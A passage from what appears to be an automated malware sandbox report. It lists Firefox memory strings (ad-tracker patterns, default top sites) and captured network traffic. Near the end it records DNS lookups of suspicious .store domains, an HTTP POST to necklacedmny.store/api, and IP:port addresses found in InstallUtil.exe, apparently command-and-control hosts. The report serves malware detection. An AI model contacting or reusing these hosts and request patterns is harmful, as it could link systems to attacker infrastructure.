truehttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == trueFirefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.sect
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php**://*.adsafeprotected.com/*/imp/**://*.adsafeprotected.com/jload?**://pubads.g.doubleclick.net/gampad/*ad-blk**://*.adsafeprotected.com/services/pub**://pubads.g.doubleclick.net/gampad/*ad**://trends.google.com/trends/embed*resource://gre/modules/Preferences.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E0E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/' equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3070915042.000001B33E20A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33885D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33885D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.3070915042.000001B33E20F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3124626191.000001B33FBC9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3155816904.000001B34456F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3184776895.000002A0903CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974405710.000001B3388E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B33886C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3079754449.000001B33E61D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3018495094.000001B33C0A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2974405710.000001B338803000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: webcompat-reporter@mozilla.org.xpi*://pub.doubleverify.com/signals/pub.js*pictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/play.svg*://*.imgur.io/js/vendor.*.bundle.js*://libs.coremetrics.com/eluminate.js*://connect.facebook.net/*/sdk.js**://connect.facebook.net/*/all.js*FileUtils_closeAtomicFileOutputStreamresource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/file-output-stream;1*://track.adform.net/serving/scripts/trackpoint/*://auth.9c9media.ca/auth/main.jsresource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/facebook.svgFileUtils_openSafeFileOutputStream@mozilla.org/addons/addon-manager-startup;1FileUtils_closeSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1*://c.amazon-adsystem.com/aax2/apstag.js*://static.criteo.net/js/ld/publishertag.js@mozilla.org/network/safe-file-output-stream;1*://*.imgur.com/js/vendor.*.bundle.js*://static.chartbeat.com/js/chartbeat.js*://www.google-analytics.com/plugins/ua/ec.js*://s0.2mdn.net/instream/html5/ima3.js*://www.googletagmanager.com/gtm.js**://www.googletagservices.com/tag/js/gpt.js**://pagead2.googlesyndication.com/tag/js/gpt.js**://cdn.adsafeprotected.com/iasPET.1.js*://static.adsafeprotected.com/iasPET.1.js*://cdn.optimizely.com/public/*.js*://*.vidible.tv/*/vidible-min.js**://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://www.google-analytics.com/gtm/js**://imasdk.googleapis.com/js/sdkloader/ima3.js*://s.webtrends.com/js/advancedLinkTracking.js*://s.webtrends.com/js/webtrends.js*://s.webtrends.com/js/webtrends.min.js*://adservex.media.net/videoAds.js*TelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3064473262.000001B33E0E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E307000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3072025003.000001B33E357000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3072025003.000001B33E32D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: x*://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: presticitpo.store
Source: global traffic DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: 56.163.245.4.in-addr.arpa
Source: global traffic DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic DNS traffic detected: DNS query: youtube.com
Source: global traffic DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic DNS traffic detected: DNS query: example.org
Source: global traffic DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://101.126.19.171:80
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://101.43.160.136:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://107.161.20.142:8080
Source: InstallUtil.exe, 0000000B.00000002.2942872417.00000000024C6000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000B.00000002.2942872417.0000000002441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://116.202.101.219:8080
Source: firefox.exe, 0000001F.00000002.2954007485.000001B32C55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2983947993.000001B339474000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3076455543.000001B33E5E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2966368938.000001B3381C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3031423613.000001B33C5E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3170442759.000001B3448FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
